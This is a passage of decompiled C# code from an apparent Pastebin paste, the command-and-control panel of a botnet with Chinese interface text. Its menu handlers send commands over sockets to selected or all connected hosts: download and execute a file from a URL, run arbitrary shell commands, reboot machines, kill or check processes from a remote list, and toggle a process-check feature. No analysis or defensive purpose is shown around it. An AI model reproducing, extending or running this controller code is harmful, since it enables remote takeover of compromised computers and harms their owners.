  1622.                                 IL_98:
  1623.                                 goto IL_BA;
  1624.                         }
  1625.                         object arg_9A_0;
  1626.                         endfilter(arg_9A_0 is Exception & num != 0 & num3 == 0);
  1627.                         IL_BA:
  1628.                         throw ProjectData.CreateProjectError(-2146828237);
  1629.                         IL_C5:
  1630.                         if (num3 != 0)
  1631.                         {
  1632.                                 ProjectData.ClearProjectError();
  1633.                         }
  1634.                 }
  1635.                 private void Timer1_Tick(object sender, EventArgs e)
  1636.                 {
  1637.                         try
  1638.                         {
  1639.                                 IEnumerator enumerator = this.ListView1.Items.GetEnumerator();
  1640.                                 while (enumerator.MoveNext())
  1641.                                 {
  1642.                                         ListViewItem listViewItem = (ListViewItem)enumerator.Current;
  1643.                                         if (DateAndTime.DateDiff(DateInterval.Second, Conversions.ToDate(listViewItem.SubItems[2].Text), Conversions.ToDate(DateAndTime.Now.ToString()), FirstDayOfWeek.Sunday, FirstWeekOfYear.Jan1) >= 30L && DateAndTime.DateDiff(DateInterval.Second, Conversions.ToDate(listViewItem.SubItems[3].Text), Conversions.ToDate(DateAndTime.Now.ToString()), FirstDayOfWeek.Sunday, FirstWeekOfYear.Jan1) >= 30L)
  1644.                                         {
  1645.                                                 if (this.DelOffline.Checked)
  1646.                                                 {
  1647.                                                         if (this.ClientAuth.ContainsKey(listViewItem.Text))
  1648.                                                         {
  1649.                                                                 this.ClientAuth.Remove(listViewItem.Text);
  1650.                                                         }
  1651.                                                         if (this.ClietnIP.ContainsKey(listViewItem.Text))
  1652.                                                         {
  1653.                                                                 this.ClietnIP.Remove(listViewItem.Text);
  1654.                                                         }
  1655.                                                         listViewItem.Remove();
  1656.                                                 }
  1657.                                                 else
  1658.                                                 {
  1659.                                                         if (this.ClientAuth.ContainsKey(listViewItem.Text))
  1660.                                                         {
  1661.                                                                 this.ClientAuth.Remove(listViewItem.Text);
  1662.                                                         }
  1663.                                                         if (this.ClietnIP.ContainsKey(listViewItem.Text))
  1664.                                                         {
  1665.                                                                 this.ClietnIP.Remove(listViewItem.Text);
  1666.                                                         }
  1667.                                                         listViewItem.BackColor = Color.LightYellow;
  1668.                                                 }
  1669.                                         }
  1670.                                 }
  1671.                         }
  1672.                         finally
  1673.                         {
  1674.                                 IEnumerator enumerator;
  1675.                                 if (enumerator is IDisposable)
  1676.                                 {
  1677.                                         (enumerator as IDisposable).Dispose();
  1678.                                 }
  1679.                         }
  1680.                         this.upme();
  1681.                 }
  1682.                 public void upme()
  1683.                 {
  1684.                         this.Text = string.Concat(new string[]
  1685.                         {
  1686.                                 Application.ProductName,
  1687.                                 " ",
  1688.                                 Application.ProductVersion,
  1689.                                 Strings.Space(3),
  1690.                                 "主机列表:",
  1691.                                 Conversions.ToString(this.ListView1.Items.Count)
  1692.                         });
  1693.                 }
  1694.                 private void ShellToolStripMenuItem_Click(object sender, EventArgs e)
  1695.                 {
  1696.                         string text = Interaction.InputBox("默认位置/tmp/helloworld  http://xxxx/xxx.xxxx\r\n指定位置 http://xxxx/xxx.xxxx!保存路径", "down & exec", "", -1, -1);
  1697.                         ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1698.                         checked
  1699.                         {
  1700.                                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1701.                                 {
  1702.                                         if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1703.                                         {
  1704.                                                 this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("1|" + text), this.ClietnIP[selectedItems[i].Text]);
  1705.                                         }
  1706.                                 }
  1707.                         }
  1708.                 }
  1709.                 private void ExecCmdToolStripMenuItem_Click(object sender, EventArgs e)
  1710.                 {
  1711.                         string text = Interaction.InputBox("id", "exec command", "", -1, -1);
  1712.                         if (Operators.CompareString(text, "", false) == 0)
  1713.                         {
  1714.                                 return;
  1715.                         }
  1716.                         ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1717.                         checked
  1718.                         {
  1719.                                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1720.                                 {
  1721.                                         if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1722.                                         {
  1723.                                                 this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("2|" + text), this.ClietnIP[selectedItems[i].Text]);
  1724.                                         }
  1725.                                 }
  1726.                         }
  1727.                 }
  1728.                 private void RebootToolStripMenuItem_Click(object sender, EventArgs e)
  1729.                 {
  1730.                         string text = Conversions.ToString((int)Interaction.MsgBox("确认要重启选中机器?", MsgBoxStyle.YesNo, null));
  1731.                         if (Conversions.ToDouble(text) != 6.0)
  1732.                         {
  1733.                                 return;
  1734.                         }
  1735.                         ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1736.                         checked
  1737.                         {
  1738.                                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1739.                                 {
  1740.                                         if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1741.                                         {
  1742.                                                 this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("0|" + text), this.ClietnIP[selectedItems[i].Text]);
  1743.                                         }
  1744.                                 }
  1745.                         }
  1746.                 }
  1747.                 private void Button2_Click(object sender, EventArgs e)
  1748.                 {
  1749.                         string text = Interaction.InputBox("默认位置/tmp/helloworld  http://xxxx/xxx.xxxx\r\n指定位置 http://xxxx/xxx.xxxx!保存路径", "down & exec", "", -1, -1);
  1750.                         if (Operators.CompareString(text, "", false) == 0)
  1751.                         {
  1752.                                 return;
  1753.                         }
  1754.                         try
  1755.                         {
  1756.                                 IEnumerator enumerator = this.ListView1.Items.GetEnumerator();
  1757.                                 while (enumerator.MoveNext())
  1758.                                 {
  1759.                                         ListViewItem listViewItem = (ListViewItem)enumerator.Current;
  1760.                                         if (this.ClientSockets.ContainsKey(listViewItem.SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1761.                                         {
  1762.                                                 this.ClientSockets[listViewItem.SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("1|" + text), this.ClietnIP[listViewItem.Text]);
  1763.                                         }
  1764.                                 }
  1765.                         }
  1766.                         finally
  1767.                         {
  1768.                                 IEnumerator enumerator;
  1769.                                 if (enumerator is IDisposable)
  1770.                                 {
  1771.                                         (enumerator as IDisposable).Dispose();
  1772.                                 }
  1773.                         }
  1774.                 }
  1775.                 private void KillWebListToolStripMenuItem_Click(object sender, EventArgs e)
  1776.                 {
  1777.                         string text = Interaction.InputBox("文件格式xxx|xxx \r\n http://xxxx/xxx.xxxx", "kill process of list", "", -1, -1);
  1778.                         if (Operators.CompareString(text, "", false) == 0)
  1779.                         {
  1780.                                 return;
  1781.                         }
  1782.                         ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1783.                         checked
  1784.                         {
  1785.                                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1786.                                 {
  1787.                                         if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1788.                                         {
  1789.                                                 this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("3|" + text), this.ClietnIP[selectedItems[i].Text]);
  1790.                                         }
  1791.                                 }
  1792.                         }
  1793.                 }
  1794.                 private void CheckRunListToolStripMenuItem_Click(object sender, EventArgs e)
  1795.                 {
  1796.                         string text = Interaction.InputBox("文件格式xxx|xxx  \r\nhttp://xxxx/xxx.xxxx!http下载地址", "check process of list", "", -1, -1);
  1797.                         if (Operators.CompareString(text, "", false) == 0)
  1798.                         {
  1799.                                 return;
  1800.                         }
  1801.                         ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1802.                         checked
  1803.                         {
  1804.                                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1805.                                 {
  1806.                                         if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1807.                                         {
  1808.                                                 this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("4|" + text), this.ClietnIP[selectedItems[i].Text]);
  1809.                                         }
  1810.                                 }
  1811.                         }
  1812.                 }
  1813.                 private void DISRUNToolStripMenuItem_Click(object sender, EventArgs e)
  1814.                 {
  1815.                         string text = Conversions.ToString((int)Interaction.MsgBox("确认禁用选中机器检测Runlist?", MsgBoxStyle.YesNo, null));
  1816.                         if (Conversions.ToDouble(text) != 6.0)
  1817.                         {
  1818.                                 return;
  1819.                         }
  1820.                         ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1821.                         checked
  1822.                         {
  1823.                                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1824.                                 {
  1825.                                         if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1826.                                         {
  1827.                                                 this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("5|" + text), this.ClietnIP[selectedItems[i].Text]);
  1828.                                                 selectedItems[i].BackColor = Color.PaleVioletRed;
  1829.                                         }
  1830.                                 }
  1831.                         }
  1832.                 }
  1833.                 private void EnRUNLISTToolStripMenuItem_Click(object sender, EventArgs e)
  1834.                 {
  1835.                         string text = Conversions.ToString((int)Interaction.MsgBox("确认重置并启用选中机器检测Runlist?", MsgBoxStyle.YesNo, null));
  1836.                         if (Conversions.ToDouble(text) != 6.0)
  1837.                         {
  1838.                                 return;
  1839.                         }
  1840.                         ListView.SelectedListViewItemCollection selectedItems = this.ListView1.SelectedItems;
  1841.                         checked
  1842.                         {
  1843.                                 for (int i = selectedItems.Count - 1; i >= 0; i += -1)
  1844.                                 {
  1845.                                         if (selectedItems[i].Selected && this.ClientSockets.ContainsKey(selectedItems[i].SubItems[4].Text) && Operators.CompareString(text, "", false) != 0)
  1846.                                         {
  1847.                                                 this.ClientSockets[selectedItems[i].SubItems[4].Text].SendTo(Encoding.UTF8.GetBytes("6|" + text), this.ClietnIP[selectedItems[i].Text]);
  1848.                                                 selectedItems[i].BackColor = Color.FromArgb(224, 224, 224);
  1849.                                         }
  1850.                                 }
  1851.                         }
  1852.                 }
  1853.                 [DebuggerStepThrough, CompilerGenerated]
  1854.                 private void _Lambda$__1(object a0)
  1855.                 {
  1856.                         this.Listcp(Conversions.ToString(a0));
  1857.                 }
  1858.                 [DebuggerStepThrough, CompilerGenerated]
  1859.                 private void _Lambda$__2(object a0)
  1860.                 {
  1861.                         this.Recv((Socket)a0);
  1862.                 }
  1863.                 [DebuggerStepThrough, CompilerGenerated]
  1864.                 private void _Lambda$__3(object a0)
  1865.                 {
  1866.                         this.Recv((Socket)a0);
  1867.                 }
  1868.         }
  1869. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top